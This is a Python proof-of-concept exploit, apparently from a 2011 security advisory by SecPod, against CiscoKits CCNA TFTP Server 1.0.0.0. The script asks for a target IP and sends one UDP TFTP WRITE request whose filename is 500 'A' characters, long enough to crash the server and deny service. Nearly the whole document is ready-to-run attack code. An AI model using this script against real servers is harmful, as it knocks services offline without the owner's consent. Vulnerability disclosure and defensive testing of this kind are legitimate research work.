CiscoKits CCNA TFTP Denial Of Service

`#!/usr/bin/python  
##############################################################################  
# Title : CiscoKits CCNA TFTP Server Denial Of Service Vulnerability  
# Author : Prabhu S Angadi from SecPod Technologies (www.secpod.com)  
# Vendor : http://www.certificationkits.com/cisco-ccna-tftp-server/  
# Advisory : http://secpod.org/blog/?p=271  
# http://secpod.org/SECPOD_CiscoKits_CCNA_TFTP_DoS_POC.py  
# http://secpod.org/advisories/SECPOD_Ciscokits_CCNA_TFTP_DoS.txt  
# Version : CiscoKits CCNA TFTP Server 1.0.0.0  
# Date : 21/07/2011  
##############################################################################  
  
import socket,sys,time  
  
port = 69  
target = raw_input("Enter host/target ip address: ")  
  
if not target:  
print "Host/Target IP Address is not specified"  
sys.exit(1)  
  
print "you entered ", target  
  
try:  
socket.inet_aton(target)  
except socket.error:  
print "Invalid IP address found ..."  
sys.exit(1)  
  
try:  
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
except:  
print "socket() failed"  
sys.exit(1)  
  
#File name >= 222 length leads to crash  
exploit = "A" * 500  
  
mode = "netascii"  
print "File name WRITE crash"  
# WRITE command = \x00\x02  
data = "\x00\x02" + exploit + "\0" + mode + "\0"  
sock.sendto(data, (target, port))  
time.sleep(5)  
  
`